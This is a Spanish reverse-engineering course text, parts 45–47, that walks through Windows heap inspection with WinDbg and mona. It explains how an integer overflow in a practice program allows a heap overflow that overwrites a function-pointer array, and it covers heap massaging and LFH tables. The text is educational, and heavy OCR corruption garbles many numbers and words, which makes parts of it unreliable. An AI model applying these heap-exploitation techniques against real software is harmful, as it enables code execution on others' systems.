Volveremos a practcar con el ejercicio AcCTICc41b pero esta vez en el Windbg usando Mona o
sea fuera de IDc, por supuesto usamos el que ya tene el EB FE para que quede loopeando, de
cualquier manera esta bueno tenerlo abierto también en el LOcDEA de IDc sin debuggear para
tener claro las cosas.

La idea es ver que info nos da en ambos casos usando Windbg dentro de IDc o usando Windbg
fuera de IDc y con mona.

En este caso IDc en el LOcDEA me muestra la dirección del LOO INFINITO en mi maquina
0xc610a7 y el comienzo de la sección de código en SEGMENTS.
Veo que si hago la resta desde el inicio de la sección de código, el LOO esta 0xa7 más adelante y
desde la imagebase 0xc60000 estará 0x10a7 mas adelante.

crranco el script y el proceso quedara loopeando, así que abro el Windbg que ya tene instalado el
Mona, como vimos en las partes anteriores.
Cuando lo atacheo y para, me fjo la imagebase ya que tene cSLA el módulo del ejecutable, con lm
veo la lista de modulos.

El nombre en este caso me sale el original con que fue compilado.

Si a la imagebase 0xef0000 le sumo 0x10a7 me dará 0xef10a7 que es donde está el JM .


Si quiero que IDc coincida en las direcciones con el proceso que corre en Windbg, voy a

Y pongo la imagebase del proceso que corre en el Windbg era 0xef0000


Vemos que coincide con la dirección del proceso en Windbg, obviamente cada vez que lo reinicie
cambiara la dirección y deberé repetr el rebase.
cllí veo la instrucción listada le pongo un breakpoint por ejecución con

cllí le puse el breakpoint y tpee “g” que es AUN para que corra y paro en el mismo, una vez que
paro cargo el mona y uso el comando heap del mismo.

Comparamos con los que nos da el Windbg no hay mucha diferencia, solo me da el mona una de
las encoding keys.

Veamos lo que nos dice el mona sobre los chunks (bloques).

0:000> !py mona.py heap -h 0x00410000 -t chunks


Hold on...

[+] Command used:

!py C:\ rogram Files (x86)\Windows Kits\10\Debuggers\x86\mona.py heap -h 0x00410000 -t


chunks

eb : 0x7efde000, NtGlobalFlag : 0x00000000

Heaps:

------

0x00410000 (1 segment(s) : 0x00410000) * Default process heap [LFH enabled, _LFH_HEc at


0x00419f78] Encoding key: 0x76d256de

[+] reparing output fle heapchunks.txt

- (Ae)se ng logfle heapchunks.txt

[+] Generatng module info table, hang on...

- rocessing modules

- Done. Let s rock n roll.

[+] rocessing heap 0x00410000 [LFH]

Segment List for heap 0x00410000:

---------------------------------

Segment 0x00410588 - 0x00510000 (FirstEntry: 0x00410588 - LastValidEntry: 0x00510000):


0x000 a78 bytes

Nr of chunks : 146

_HEc _ENTAY psize size unused User tr UserSize

00410588 00000 00240 00001 00410590 0000023f (575) (Busy)

004107c8 00240 00020 00008 004107d0 00000018 (24) (Busy)

004107e8 00020 019d0 0000a 004107f0 000019c6 (6598) (Busy)

004121b8 019d0 029e8 0000a 004121c0 000029de (10718) (Busy)


00414ba0 029e8 00048 0000c 00414ba8 0000003c (60) (Busy)

00414be8 00048 00038 00008 00414bf0 00000030 (48) (Busy)

00414c20 00038 00080 00008 00414c28 00000078 (120) (Busy)

00414ca0 00080 00080 00008 00414ca8 00000078 (120) (Busy)

00414d20 00080 00048 0000c 00414d28 0000003c (60) (Busy)

00414d68 00048 00228 00008 00414d70 00000220 (544) (Busy)

00414f90 00228 00050 0000e 00414f98 00000042 (66) (Busy)

00414fe0 00050 00080 00008 00414fe8 00000078 (120) (Busy)

00415060 00080 00018 00008 00415068 00000010 (16) (Busy)

00415078 00018 00050 0000a 00415080 00000046 (70) (Busy)

004150c8 00050 00080 00008 004150d0 00000078 (120) (Busy)

00415148 00080 00018 00008 00415150 00000010 (16) (Busy)

00415160 00018 00018 00008 00415168 00000010 (16) (Busy)

00415178 00018 00040 0000b 00415180 00000035 (53) (Busy)

004151b8 00040 00070 0000c 004151c0 00000064 (100) (Busy)

00415228 00070 00208 00008 00415230 00000200 (512) (Busy)

00415430 00208 00208 00008 00415438 00000200 (512) (Busy)

00415638 00208 00030 0000c 00415640 00000024 (36) (Busy)

00415668 00030 00030 0000c 00415670 00000024 (36) (Busy)

00415698 00030 00038 00008 004156a0 00000030 (48) (Busy)

004156d0 00038 00028 00008 004156d8 00000020 (32) (Busy)

004156f8 00028 00028 00008 00415700 00000020 (32) (Busy)

00415720 00028 00028 00008 00415728 00000020 (32) (Busy)

00415748 00028 00028 00008 00415750 00000020 (32) (Busy)

00415770 00028 00018 00008 00415778 00000010 (16) (Busy)

00415788 00018 00080 00008 00415790 00000078 (120) (Busy)


00415808 00080 00080 00008 00415810 00000078 (120) (Busy)

00415888 00080 00018 00008 00415890 00000010 (16) (Busy)

004158a0 00018 00020 0000c 004158a8 00000014 (20) (Busy)

004158c0 00020 00020 00010 004158c8 00000010 (16) (Busy)

004158e0 00020 00078 0000c 004158e8 0000006c (108) (Busy)

00415958 00078 00080 00008 00415960 00000078 (120) (Busy)

004159d8 00080 00018 00008 004159e0 00000010 (16) (Busy)

004159f0 00018 00018 00008 004159f8 00000010 (16) (Busy)

00415a08 00018 00050 0000e 00415a10 00000042 (66) (Busy)

00415a58 00050 00010 00000 00415a60 00000010 (16) (Free)

00415a68 00010 00058 0000e 00415a70 0000004a (74) (Busy)

00415ac0 00058 00080 00008 00415ac8 00000078 (120) (Busy)

00415b40 00080 00080 00008 00415b48 00000078 (120) (Busy)

00415bc0 00080 00018 00008 00415bc8 00000010 (16) (Busy)

00415bd8 00018 00020 00010 00415be0 00000010 (16) (Busy)

00415bf8 00020 00018 00008 00415c00 00000010 (16) (Busy)

00415c10 00018 00010 00000 00415c18 00000010 (16) (Free)

00415c20 00010 00080 00008 00415c28 00000078 (120) (Busy)

00415ca0 00080 00080 00008 00415ca8 00000078 (120) (Busy)

00415d20 00080 00088 0000c 00415d28 0000007c (124) (Busy)

00415da8 00088 00018 00008 00415db0 00000010 (16) (Busy)

00415dc0 00018 00078 00008 00415dc8 00000070 (112) (Busy)

00415e38 00078 00020 00010 00415e40 00000010 (16) (Busy)

00415e58 00020 00018 00008 00415e60 00000010 (16) (Busy)

00415e70 00018 00080 00008 00415e78 00000078 (120) (Busy)

00415ef0 00080 00018 00008 00415ef8 00000010 (16) (Busy)


00415f08 00018 00018 00008 00415f10 00000010 (16) (Busy)

00415f20 00018 00020 00010 00415f28 00000010 (16) (Busy)

00415f40 00020 00070 00008 00415f48 00000068 (104) (Busy)

00415 0 00070 00080 00008 00415 8 00000078 (120) (Busy)

00416030 00080 00018 00008 00416038 00000010 (16) (Busy)

00416048 00018 00028 00008 00416050 00000020 (32) (Busy)

00416070 00028 00080 00008 00416078 00000078 (120) (Busy)

004160f0 00080 00028 00008 004160f8 00000020 (32) (Busy)

00416118 00028 00028 00008 00416120 00000020 (32) (Busy)

00416140 00028 00070 00008 00416148 00000068 (104) (Busy)

004161b0 00070 00028 00008 004161b8 00000020 (32) (Busy)

004161d8 00028 00078 0000e 004161e0 0000006a (106) (Busy)

00416250 00078 03d20 00001 00416258 00003d1f (15647) (Busy)

00419f70 03d20 378b0 00008 00419f90 000378a8 (227496) (Internal,Busy (LFH))

00451820 378b0 00400 00008 00451840 000003f8 (1016) (Internal,Busy (LFH))

00451c20 00400 00400 00008 00451c40 000003f8 (1016) (Internal,Busy (LFH))

00452020 00400 00080 00008 00452028 00000078 (120) (Busy)

004520a0 00080 00080 00008 004520a8 00000078 (120) (Busy)

00452120 00080 00028 00008 00452128 00000020 (32) (Busy)

00452148 00028 00028 00008 00452150 00000020 (32) (Busy)

00452170 00028 00070 0000a 00452178 00000066 (102) (Busy)

004521e0 00070 00080 00008 004521e8 00000078 (120) (Busy)

00452260 00080 00028 00008 00452268 00000020 (32) (Busy)

00452288 00028 00028 00008 00452290 00000020 (32) (Busy)

004522b0 00028 00070 00008 004522b8 00000068 (104) (Busy)

00452320 00070 00078 0000e 00452328 0000006a (106) (Busy)


00452398 00078 00210 00008 004523a0 00000208 (520) (Busy)

004525a8 00210 00028 00008 004525b0 00000020 (32) (Busy)

004525d0 00028 00028 00008 004525d8 00000020 (32) (Busy)

004525f8 00028 00028 00008 00452600 00000020 (32) (Busy)

00452620 00028 00028 00008 00452628 00000020 (32) (Busy)

00452648 00028 00028 00008 00452650 00000020 (32) (Busy)

00452670 00028 00028 00008 00452678 00000020 (32) (Busy)

00452698 00028 00078 0000c 004526a0 0000006c (108) (Busy)

00452710 00078 02000 00008 00452730 00001 8 (8184) (Internal,Busy (LFH))

00454710 02000 00070 0000a 00454718 00000066 (102) (Busy)

00454780 00070 00078 0000e 00454788 0000006a (106) (Busy)

004547f8 00078 00408 00008 00454800 00000400 (1024) (Busy)

00454c00 00408 00800 00008 00454c20 000007f8 (2040) (Internal,Busy (LFH))

00455400 00800 006d0 00008 00455408 000006c8 (1736) (Busy)

00455ad0 006d0 00c08 00008 00455ad8 00000c00 (3072) (Busy)

004566d8 00c08 00800 00008 004566f8 000007f8 (2040) (Internal,Busy (LFH))

00456ed8 00800 00228 00008 00456ee0 00000220 (544) (Busy)

00457100 00228 00228 00008 00457108 00000220 (544) (Busy)

00457328 00228 004c0 00008 00457330 000004b8 (1208) (Busy)

004577e8 004c0 00038 0000f 004577f0 00000029 (41) (Busy)

00457820 00038 00098 0000d 00457828 0000008b (139) (Busy)

004578b8 00098 00020 00009 004578c0 00000017 (23) (Busy)

004578d8 00020 00020 00008 004578e0 00000018 (24) (Busy)

004578f8 00020 00030 0000f 00457900 00000021 (33) (Busy)

00457928 00030 00020 0000c 00457930 00000014 (20) (Busy)

00457948 00020 00020 0000a 00457950 00000016 (22) (Busy)


00457968 00020 00030 00008 00457970 00000028 (40) (Busy)

00457998 00030 00030 00009 004579a0 00000027 (39) (Busy)

004579c8 00030 00060 0000e 004579d0 00000052 (82) (Busy)

00457a28 00060 00048 00008 00457a30 00000040 (64) (Busy)

00457a70 00048 00020 0000e 00457a78 00000012 (18) (Busy)

00457a90 00020 00058 0000e 00457a98 0000004a (74) (Busy)

00457ae8 00058 00808 00008 00457af0 00000800 (2048) (Busy)

004582f0 00808 00088 00008 004582f8 00000080 (128) (Busy)

00458378 00088 00048 0000b 00458380 0000003d (61) (Busy)

004583c0 00048 00448 00008 004583c8 00000440 (1088) (Busy)

00458808 00448 00078 0000c 00458810 0000006c (108) (Busy)

00458880 00078 01168 00000 00458888 00001168 (4456) (Free)

004599e8 01168 000f0 0000c 004599f0 000000e4 (228) (Busy)

00459ad8 000f0 00038 0000a 00459ae0 0000002e (46) (Busy)

00459b10 00038 00030 00008 00459b18 00000028 (40) (Busy)

00459b40 00030 00040 00009 00459b48 00000037 (55) (Busy)

00459b80 00040 00048 0000c 00459b88 0000003c (60) (Busy)

00459bc8 00048 00040 0000f 00459bd0 00000031 (49) (Busy)

00459c08 00040 00030 0000c 00459c10 00000024 (36) (Busy)

00459c38 00030 00020 00009 00459c40 00000017 (23) (Busy)

00459c58 00020 00040 0000e 00459c60 00000032 (50) (Busy)

00459c98 00040 00038 0000a 00459ca0 0000002e (46) (Busy)

00459cd0 00038 00038 0000c 00459cd8 0000002c (44) (Busy)

00459d08 00038 00030 00008 00459d10 00000028 (40) (Busy)

00459d38 00030 00030 0000f 00459d40 00000021 (33) (Busy)

00459d68 00030 00020 0000b 00459d70 00000015 (21) (Busy)


00459d88 00020 00038 0000d 00459d90 0000002b (43) (Busy)

00459dc0 00038 00030 0000e 00459dc8 00000022 (34) (Busy)

00459df0 00030 00038 0000a 00459df8 0000002e (46) (Busy)

00459e28 00038 00048 0000f 00459e30 00000039 (57) (Busy)

00459e70 00048 00020 00009 00459e78 00000017 (23) (Busy)

00459e90 00020 00040 0000a 00459e98 00000036 (54) (Busy)

00459ed0 00040 00050 00009 00459ed8 00000047 (71) (Busy)

00459f20 00050 00050 00008 00459f28 00000048 (72) (Busy)

00459f70 00050 00020 0000e 00459f78 00000012 (18) (Busy)

00459f90 00020 00020 00008 00459f98 00000018 (24) (Busy)

00459 0 00020 00030 0000c 00459 8 00000024 (36) (Busy)

00459fe0 00030 00020 00003 00459fe8 0000001d (29) (Busy)

0x00459 8 - 0x00510000 (end of segment) : 0xb6008 (745480) uncommi ed bytes

Heap : 0x00410000 [LFH] : VirtualcllocdBlocks : 0

Nr of chunks : 0

[+] This mona.py acton took 0:00:05.043000

Aecordamos que en este punto EcX tenía la dirección de usuario del bloque (sin el header)

Si buscamos por 4588 ya que en los listados siempre está por la dirección que incluye el header.
cllí vemos el bloque BUSY el user size 0x6c y el size total 0x78 o sea 120 decimal, si lo hacíamos
con el Windbg usando !heap -a 0x00410000.

Vemos que la información es parecida.

Como antes en el Windbg vemos la información del bloque

El size se multplicaba por 8 para ver el total

hex(0xf *0x8)

0x78 o sea 120 decimal.

En el mona
Como siempre en la posición 0x50 están las claves para xorear, veamoslas.
Vemos que una de las dos claves coincide con la que muestra el mona.

Tenemos un comando en mona que no conozco si lo tene el Windbg

!py mona heap -t layout -v

La salida es larguísima pero trata de ver en que usa los bloques del heap y listarlo.
chí está nuestro bloque.

Si miro el contenido de alguno de los otros.

0:000> da 00458d27

00458d27 "cMDc SDKAOOT=C:\ rogram Files ("…..

Vemos que el contenido es el mismo que muestra el listado.

Vemos que los datos coinciden esta free o sea se guardó info allí, pero se liberó el bloque para
nuevo uso.

En este caso no, pero hay que prestar siempre atención a los objetos allocados, pues los mismos
tenen vtables que son tablas virtuales que se pueden pisar y que podrían hacernos saltar a
controlar la ejecución.

Este es un ejemplo de la web para que vean como se ve allí dice OBJECT y VFTcBLE, un buen
objetvo para pisar si hay un overlow.
En el IDc podemos ver los bytes que habíamos cambiado para poner el loop infnito con EDIT-
cTCHED BYTES.

En el Windbg en la pestaña memory voy a la dirección donde está el EB FE y los cambio por 74 18.

Si ahora hago u eip veo que cambio al salto condicional que había.
uedo darle run o G y aceptar el enter del script y que siga hasta que crashee, sabemos que no
está puesto el page heap como full por lo que no hay history ni crasheara al escribir, solo
crasheara al saltar a ejecutar.

Igual tuve que volverlo a trar porque tuve que reiniciar la máquina, llegare a lo mismo que antes
aunque las direcciones variaran.

Esta vez sí apareció el nombre jeje.

Veo el heap con el mona.

0:000> !py mona heap -a


Hold on...

[+] Command used:

!py C:\ rogram Files (x86)\Windows Kits\10\Debuggers\x86\mona.py heap -a

eb : 0x7efde000, NtGlobalFlag : 0x00000000

Heaps:

------

0x004f0000 (1 segment(s) : 0x004f0000) * Default process heap [LFH enabled, _LFH_HEc at


0x004 348] Encoding key: 0x13f60872

Y veo los bloques

!py mona.py heap -h 0x004f0000 -t chunks

Y EcX vale

0:000> r eax

EcX=0053a720

csí que el bloque es ahora

0053a718 00448 00078 0000c 0053a720 0000006c (108) (Busy)

0053a790 00078 01728 00000 0053a798 00001728 (5928) (Free)

0053beb8 01728 00128 00014 0053bec0 00000114 (276) (Busy)

0053bfe0 00128 00020 00003 0053bfe8 0000001d (29) (Busy)

Cambio el loop infnito por el salto condicional.

00ef10a7 7418 je AcCTICc41b+0x10c1 (00ef10c1)

cprieto G y luego el ENTEA del script para que contnne.


Salto a ejecutar veamos que nos dice sobre el bloque

Lo mismo veamos el layout.

Vemos que nos muestra el bloque lleno de ces y el siguiente también con ces, el Windbg me
muestra el bloque siguiente con size 0x4141 ya se ve corrupto el size.

Si usamos –x Windbg nos dirá si esta corrupto .


Bueno vemos que el Windbg nos da mucha información, el mona un poco más, tene algunos
comandos para trabajar con objetos que ann no los podemos usar, igualmente todo esto nos
servirá para practcar y solucionar el ejercicio pendiente de la parte 44, lo veremos en la próxima
parte.

Hasta la parte 46

Aicardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 46
Bueno miraremos el ejercicio de la parte 44.

hp://ricardonaraaja.in o/EBB/NT R UCCCN T20AL/20ARBEBRINT%20AC T20ANUL20ARR


20AUBIUB20ACBR /BJBRCNCN I/RRLC NCL_44.7z

Lntes de hacerlo hagamos algunas consideraciones.

/os exploits de Heap dependen mucho del programa y de la aulnerabilidad, algunos son
explotables, otros no.

Muchas aeces la reliabilidad (el porcentaje de uncionamiento correcto contra las aeces que alla)
es menor a otros tpos de exploit que explotan otro tpo de aulnerabilidad.

Bn general un exploit de heap con todo bien si los planetas se alinean y el exploit writer trabajo
bien, puede superar un 8A2 de reliabilidad, en casos de que las cosas aan mal el programa no
permite manipulación del heap, o el exploit writer no acierta puede ser mucho menor de un 3A2 a
un 6A2 de reliabilidad.

L que me refero con manipulación de heap, o masaje de heap o como se llame, a ir llenando los
huecos o sea los bloques ree con di erentes allocaciones de distntos tamaños, antes de ubicar el
bloque que se aa a oaerfodear, para que el mismo se coloque en una posición anterior a un
puntero, una atable o algo posible de pisar.

Ror ejemplo si aamos a explotar un seraer, ir enaiando di erentes paquetes de datos, no al tun tun,
sino habiendo aisto que hace cada tpo de paquete y que tamaños alloca según lo que le enaío y
cuando está lleno a mi gusto el heap, enaío el paquete que produce la allocacion y se puede
oaerfodear, para que se ubique en una posición a mi gusto.

Ii el programa abre un archiao por ejemplo E RU, le agrego al archiao, campos de texto, tablas,
etc cada uno alocará di erentes tamaños que puedo controlar, antes de allocar el que se aa a
oaerfodear.

baiamente esto no es sencillo y hay que conocer lo que se está haciendo y el programa a
explotar, a ciegas no se hace nada.

Rara que no se auelaan locos leyendo cosas aiejas de explotación de heap, hay métodos aiejos que
pisaban los punteros del header del bloque, y se podía explotar hace años, allocando y
desallocando, solo controlando lo que se escribía en los punteros del header al oaerfodear el
bloque anterior.

Como aimos ahora los punteros del header están xoreados con aalores que cambian, el heap
trabaja en orma di erente y hace múltples chequeos en los punteros, así que esos métodos no
siraen hoy día más, y es inútl ponerse a estudiarlos hoy.

Ror supuesto la practca 44 es el peor de los escenarios, pues solo puedo controlar una sola
allocacion según el size que pase, lo cual no es muy fexible ni muy real, así que las posibilidades
son muy pocas.

L contnuación de esta parte haré una nueaa aersión del ejercicio 44 con múltples allocaciones
como en un caso real para que practquen como llenar los agujeros del queso jeje para tener más
posibilidades de explotar y mejorar la reliabilidad.

/a idea era que practquen y choque con este para que aean como pueden hacer con el siguiente,
igual lo analizaremos y aeremos qué pasa.

Lhora chocare yo un poco, para que aean el análisis.

Lbro el ejecutable en el loader de NUL.

Bueno aemos que después de cargar la Mypepe.dll imprime “Nngrese una cantdad de números
enteros” y llama a scan luego le pasa con el /BL la dirección de la aariable número, para que
guarde allí el aalor tpeado en ormato decimal ya que el ormato es 2d.
/uego toma ese número y lo multplica por 4 y lo usa como size del malloc.

shl eax, 2 ;Equivalent to EAX*4

Y guarda el bloque en la aariable Dst, le cambiare el nombre.

Rara di erenciar un poco le puse una abreaiatura de puntero a bloque donde controlo el size.

Eemos que guarda la dirección de system en la aariable Ust3, le cambiare el nombre.

/uego llama a new, eso se ae mejor si cambio en demangle names.


Eemos que el size esta fjo en Ax1A.

Eemos que internamente el new llama a un malloc con el mismo size y que si puede allocar BLX
será di erente de cero e ira al bloque con el pop ebp-ret deaolaiendo en BLX la dirección del
bloque allocado.

/e puse una abreaiatura a la aariable que guarda dicha dirección, de puntero a bloque de tamaño
fjo Ax1A, ademas guarda en la aariable array la misma dirección.
/uego guarda la dirección de prin en ese bu er apuntado por array, se ae que es un array de
punteros o dwords, porque parece indexar de a 4, igual solo llena el primer campo del array con la
dirección de prin .

BCX + BLX es igual a BCX, dado que BLX aale A, o sea guardara prin en la dirección del inicio del
array o sea el primer campo)

Ii tuaiéramos el código comprobaríamos que son 4 campos de 4 bytes y que en el primero guarda
un puntero a prin .

Bl tpo system_t lo defní y es un puntero a system, así 4 punteros de 4 bytes cada uno, el largo es
Ax1A o sea 16 decimal, el size de lo que aa a allocar (un array de punteros).

/uego aaisa imprimiendo la dirección del bloque con mi tamaño p_bloque_mi_size y diciéndome
que allí aoy a escribir mis enteros.

sea que tenemos un array de punteros a system y una allocacion que yo controlo el size y que
allí aoy a escribir enteros.
/uego imprime que ingresemos nuestro primer entero y entra al loop que está marcado en aerde,
pone una aariable i =A que será el contador, la salida es comparar con el aalor de numero, si es
más grande se aa uera del loop.

sea la idea del loop es ir escribiendo los enteros, por ejemplo si uno tpeo en número el aalor 4
decimal, allocó 4 * 4 o sea 16 decimal o sea Ax1A, y tendrá que loopear 4 aeces, para en cada ciclo
guardar un entero de cuatro bytes y incrementar de a 4, así ciclara 4 aeces por 4 bytes guardados
en cada aez será 16 bytes decimal guardados en el bloque de 16 decimal de size y no habría
oaerfow ni nada.

Ya aemos que la salida del loop será cuando i o sea el contador sea mayor o igual que el número
que ingrese al inicio.

Bl oaerfow aquí se produce en la multplicación, si mi número inicial es por ejemplo 1A73741805


que corresponde al Ax4AAAAAA1 al multplicarlo por 4 desbordara el máximo posible de 30 bits y el
resultado será 4 y alocará un size de solo 4.
Bntonces alocará 4 bytes de tamaño y al escribir en cada ciclo copiara 4 bytes allí y se repetrá
1A73741805 aeces ya que ese es el número que tpeamos y el que eaalúa comparando el contador
contra ese aalor como salida.

Bs obaio que el programa unciona bien mientras que la multplicación del número ingresado por 4
no desborde el máximo de un entero de 30 bits.

Muchos dicen, como sacaste el aalor Ax4AAAAAA1, ácil diaidir Ax /4 me da Ax3

Bse al multplicarlo por 4 estará cerca de Ax . /o aoy aumentando de a uno hasta que se
desborde y el resultado sea un número pequeño.

Lsí que Ax4AAAAAAA por 4 me da cero, ese no me sirae, le sumo uno más y me da 4 ese ya sirae y
así tengo el rango de aalores a partr de Ax4AAAAAA1 en adelante que me producen
desbordamiento y cuyo resultado es un aalor chico.

baiamente los múltplos de Ax4AAAAAAA al cual luego le aoy sumando de a uno serairán.
Lsí que aemos que aquí la idea es desbordar el bloque al cual le escribo los números enteros,
tratando de llegar al bloque del array de punteros, además en el medio del ciclo usa para imprimir
el puntero guardado en el primer campo del array.

Nmprime en cada ciclo la palabra correcto, usando el puntero a prin guardado en el array y
sumándole como la aez anterior BCX que aale cero, que proaiene de esa multplicación por cero,
así que si no pisamos el puntero, saltara a imprimir, pero si llegamos a pisar el array podremos
saltar a ejecutar código.

Bl tema es que se tenen que dar aarias cosas para que esto ocurra, como aquí no hay muchas
allocaciones ni podemos masajear el heap llenando los huecos del mismo con allocaciones con size
controlado, la cosa puede allar, ya que si el array de punteros queda en una dirección más baja
que el bloque a desbordar no podre alcanzarlo porque no puedo escribir para atrás jeje.

sea la idea es que el array de punteros debe quedar cerca pero en una dirección más alta que el
bloque a desbordar.

baiamente eso no depende de nosotros en este caso y si no se da no será posible explotarlo, si


hubiera múltples allocaciones como en la próxima práctca podríamos ir llenando el heap,
allocando en los bloques libres para obligar a que el bloque a oaerfodear no le quede otra que ir
en una dirección más alta.
/o últmo es que el entero que ingresamos lo guarda en una aariable temporal y solo lo copia con
memcpy de 4 bytes de largo al bloque si es mayor que Ax0A, si es menor saltea la copia.

Lllí aemos que la dirección donde escribe se incrementa de a 4, o sea que es un array de enteros
también por eso se incrementa de a 4.

Bueno ya está analizado aeamos que pasa si lo tro suelto uera de NUL.
Rrobemos que nuestro bloque alloque la misma cantdad que el array de punteros o sea Ax1A, lo
cual tendría cierta lógica, ya que como primero alloca mi bloque y luego el array de punteros
ambos con el mismo size, el mío quede en una dirección más baja para oaerfodear y pisar el otro,
pero no se aoy a probar primero en Eindows 7 que es más amigable para casos de heap.

Bso se ae bien el bloque a desbordar está en Ax6109AA y el bloque con el array de punteros en
Ax610918 jeje aoy a trarlo 1A aeces a aer qué porcentaje sale bien.(recuerden si cambiaron el
page heap para este proceso aolaerlo a heap normal).
Eemos que siempre la distancia me da 18 porque al ser ambos del mismo tamaño y en Eindows 7
que es más bueno, la cosa aa bien ahora probare en w1A.
Eemos que en w1A la cosa es más aariable, a aeces queda bien y a aeces mal.

Eemos que si uso un tamaño menor queda bastante lejos.

Bl tema es que no puedo manipular el heap allocando, así que por ahora hare este exploit solo
para w7, el próximo que hagamos aeremos si manipulando nos ayuda a poder hacer una aersión
para cada uno.
Bueno ahora armare un script proaisorio para ir probando.

Lrranco el script, elijo en el NUL el windbg debugger y atacheo al proceso que queda detenido
dentro del scan .

Como puse un breakpoint en Ax4A1AdA antes del primer malloc, parara allí al aceptar el BT BR del
script.
Eemos el número que ingrese está en BUX es Ax4AAAAAA4.

Ll hacer el IH/ lo multplica por 4 queda Ax1A el size a allocar.

Eeamos que nos dice

!heap -a Ax0cAAAA

!heap -a Ax51AAAA

To pondré acá todos los resultados pero los guardo en un txt.


Lhora paso el malloc de Ax1A.

Bl bloque mío de size Ax1A estará ubicado en Ax3A0 dA.

Ii pregunto por esa dirección aeo que pertenece al heap de Ax0cAAAA.

Ngual no está en el listado por ser de size muy pequeño, pero si pregunto qué fltre los bloques de
tamaño Ax1A

!heap -ft s Ax1A

Lhí si me aparece
Eemos que en el listado general aparecen dentro de un bloque de Ax4AA sin especifcar lo que hay
dentro, al pedir por tamaño si disgrega el contenido.

ambién se puede buscar por rango

!heap -ft r Ax1A Ax0A

Rero bueno al buscar los bloques de Ax1A y aer los libres, aemos que justo debajo del nuestro hay
otro bloque ree en Ax3A0 eA que es el siguiente libre y que supuestamente al hacer malloc de
Ax1A debería usar ese, lleguemos hasta el otro malloc.

Eemos que justo allocó usando el siguiente que estaba ree y que estaba cerca.
Justo el siguiente de Ax1A al menos en Eindows 7 es bastante predictao.

Más o menos ya tengo una idea la distancia entre los dos es Ax3A0 e8 -Ax3A0 dA

Python>hex(0x302fe8 -0x302fd0)
0x18

Allí puse 6 valores lo cual me da 24 de largo (0x18) y el 7mo seria 0x41424344 pasado a
decimal, veamos qué pasa.
Obviamente eso se da porque W7 es bastante predecible. Seguramente en w10 habrá que
poner varios de estos 0x41424344 de relleno para que si se mueve termine saltando igual,
en el caso que se pueda hacer.

Bueno con eso saltaríamos a ejecutar mi bloque el problema es que EDX ahora apunta a los
últimos bytes que hay ya que se fue incrementando, lo cual es medio molesto, así que lo
dejaremos ahí al menos demostramos que saltamos a ejecutar en el próximo ejercicio
podremos manejar más distintos allocs de diferentes tamaños, y podremos tratar de pelearlo
tanto en Windows 7 como en w10.
Hasta la parte 47

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 47
Vamos a trata de aclarar algunas cosas que aun no mencionamos del tema heap y que son
necesarias, lo haremos mirando nuevamente el ejercicio practca 44 que hablamos mirado
en Windows 7, lo volveremos a mirar en el mismo so.

Es bueno notar que la forma de manejar el heap hay cambiado mucho de XP a Windows 7, y
tene mas cambios aun hasta Windows ,, por lo cual m todos de edplotacinn que son
validos en uno, pueden no serlo en el otro.

Tambi n es cierto que lo edploits tpo que edplotan un heap overfow, hay que lucharlos
bastante, no son sencillos la mayor parte de las veces y no siempre funcionan el ,,% delos
intentos.

Bueno miraremos el ejercicio de la parte 44.

h p://ricardonarvaja.info/WEB/aNTODUCCCaDN%2, %%2,OEVEO aN %2,CDN%2,aU


%2,POD%2,UE UE%2,CEOD/EJEOCaCaD /PO CTaC _44.7z

Csaremos el windbg fuera de aU .

Ya habíamos visto que hacia un malloc inicial en ,d,,4, ,U7 asi que coloco un breakpoint
en el windbg con

ba e ,d,,4, ,U7

Cna vez que para ya sabemos que el size era el numero que le pasábamos multplicado por
4.
El numero ese pasado a hedadecimal es

hed( ,7374 828)

',d4,,,,,,4'

l multplicar por 4 daba ,d ,

si que alocara ,d ,.

l pasar por encima del malloc con f , veo en mi caso que allocn en ,d,,3, b2,

Vemos que pertenece a un bloque de tamaño ,d , de Cser ize, o sea sera ,d , el espacio
que reserva de memoria para utlizar por el usuario, sin contar el header.
Csando !heap -a ,d2c,,,, para ver los chunks del heap.

Vemos que hay un chunk en ,d3, 86, de largo ,d4,, que tendría mi direccinn dentro, pues
,d3, b2, esta incluido dentro de ese bloque que empieza en ,d3, 86, y sumandole ,d4,,
terminaría en ,d3, c6,.

hed(,d3, 86,+,d4,,)=,d3, c6,

Veamos que nos dice el mona en el mismo caso.

%o cargo con

.load pykd.pyd

Y luego

!py mona.py heap -h ,d2c,,,, -t chunks

Vemos que nos muestra al igual que el windbg el mismo chunk de ,d4,, salvo que ademas
de anternal nos dice que es %FH.

%DW FO MENT TaDN HE P

e puede escribir muchísimos tutoriales de %FH, es complejos trataremos de no marearlos


demasiado y vamos a ir en partes, esta sera la primera, en la parte siguiente trataremos de
ver si podemos entender y seguir una allocacion.

Oealmente el %FH es como un heap especial dentro del heap estándar, con reglas un poco
distntas, la idea es tener un heap para evitar la fragmentacion o sea que tengas bloques
allocados desperdigados en la memoria y muy separados.
%a fragmentacion del heap ocurre cuando hay allocados pequeños bloques no contguos.
Cuando esto sucede, las asignaciones de memoria pueden fallar aunque puede haber
su ciente memoria total en el heap para satsfacer la solicitud. in embargo, como ningún
bloque de memoria libre es lo su cientemente grande, la solicitud de asignacinn falla.
Para aplicaciones con poco uso de memoria, el heap estándar es adecuado no habrá
problema, allí las asignaciones no fallaran debido a la fragmentacion del heap. in embargo,
si las aplicaciones asignan memoria con frecuencia utlizando tamaños de asignacinn
diferentes, estas asignaciones pueden fallar debido a la fragmentacion de heap.

Veremos unas cuantas tablas y en las prodimas partes trataremos de comprender como el
sistema toma la decisinn de allocar en el %FH o en el HE P estándar y como trabaja.

Tomenlo con paciencia a nadie le gusta tragar todo esto jeje, lo haremos poco a poco en la
misma practca que tenemos detenida en el windbg.

Ya teniendo la direccinn base del heap podemos ver su contenido con

dt _HE P direccinn
hí esta la tabla principal del heap que se accede con dt _HE P y la direccinn del mismo que
en mi caso es ,d2c,,,,.

Vemos que en la posicinn ,dB8 esta Blocksanded que es un puntero a otra tabla, en mi caso
dicha tabla esta en ,d2c, 5,, o sea ,d 5, desde el inicio del heap.

+0x0b8 BlocksIndex : Ptr32 Void


Para ver el contenido de esta tabla Blocksanded se usa

dt _HE P_%a T_%DDKCP direccinn

Trataremos de mostrar las tablas y edplicar solo lo minino necesario, ya volveremos mas
adelante con esta tabla.

%a siguiente tablita importante sale de la tabla principal del valor FrontEndHeap


Vemos que en mi caso apunta a ,d2c9 8, recordemos que al buscar mi chunk en la lista.

